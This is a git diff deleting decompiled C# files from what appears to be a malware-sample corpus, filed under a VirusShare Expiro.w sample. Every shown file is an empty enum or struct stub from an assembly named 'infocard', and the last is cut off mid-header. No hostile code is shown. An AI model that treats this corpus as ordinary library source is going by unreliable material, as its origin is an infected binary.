a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagQACONTAINERFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagQACONTAINERFLAGS.cs deleted file mode 100644 index 3c66c5d7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagQACONTAINERFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagQACONTAINERFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagQACONTAINERFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagQUERY_PARSER_MANAGER_OPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagQUERY_PARSER_MANAGER_OPTION.cs deleted file mode 100644 index 912663e3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagQUERY_PARSER_MANAGER_OPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagQUERY_PARSER_MANAGER_OPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagQUERY_PARSER_MANAGER_OPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagREADYSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagREADYSTATE.cs deleted file mode 100644 index c8cfbd3e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagREADYSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagREADYSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagREADYSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagRECT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagRECT.cs deleted file mode 100644 index b730b43e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagRECT.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagRECT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct tagRECT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagREGCLS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagREGCLS.cs deleted file mode 100644 index b29818cd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagREGCLS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagREGCLS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagREGCLS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagREGKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagREGKIND.cs deleted file mode 100644 index a3b4b0cc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagREGKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagREGKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagREGKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSERVERCALL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSERVERCALL.cs deleted file mode 100644 index 5ce3d47e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSERVERCALL.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSERVERCALL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSERVERCALL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSF_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSF_TYPE.cs deleted file mode 100644 index 85ae988f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSF_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSF_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSF_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHCOLSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHCOLSTATE.cs deleted file mode 100644 index 560b21c7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHCOLSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHCOLSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagSHCOLSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHCONTF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHCONTF.cs deleted file mode 100644 index 7f24f79d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHCONTF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHCONTF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSHCONTF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHELLITEMCOMPAREHINTF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHELLITEMCOMPAREHINTF.cs deleted file mode 100644 index 76e03d90..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHELLITEMCOMPAREHINTF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHELLITEMCOMPAREHINTF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSHELLITEMCOMPAREHINTF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHELLPROPSHEETEXTPAGEID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHELLPROPSHEETEXTPAGEID.cs deleted file mode 100644 index c80f3d45..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHELLPROPSHEETEXTPAGEID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHELLPROPSHEETEXTPAGEID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSHELLPROPSHEETEXTPAGEID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHGDN.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHGDN.cs deleted file mode 100644 index 5d164352..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSHGDN.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHGDN -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSHGDN -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSIATTRIBFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSIATTRIBFLAGS.cs deleted file mode 100644 index 1a5df245..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSIATTRIBFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSIATTRIBFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSIATTRIBFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSIGDN.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSIGDN.cs deleted file mode 100644 index d0e6859b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSIGDN.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSIGDN -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSIGDN -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSIIGB.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSIIGB.cs deleted file mode 100644 index 6af77fb1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSIIGB.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSIIGB -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagSIIGB -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSLGP_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSLGP_FLAGS.cs deleted file mode 100644 index a4e67620..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSLGP_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSLGP_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSLGP_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSLR_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSLR_FLAGS.cs deleted file mode 100644 index 0781b2cf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSLR_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSLR_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagSLR_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSMINFOFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSMINFOFLAGS.cs deleted file mode 100644 index 1124f79b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSMINFOFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSMINFOFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSMINFOFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSMINFOMASK.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSMINFOMASK.cs deleted file mode 100644 index d65f711c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSMINFOMASK.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSMINFOMASK -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSMINFOMASK -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSMINFOTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSMINFOTYPE.cs deleted file mode 100644 index cb533bf5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSMINFOTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSMINFOTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagSMINFOTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSPBEGINF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSPBEGINF.cs deleted file mode 100644 index 99933fdd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSPBEGINF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSPBEGINF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSPBEGINF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSPINITF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSPINITF.cs deleted file mode 100644 index 2f235fb7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSPINITF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSPINITF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: 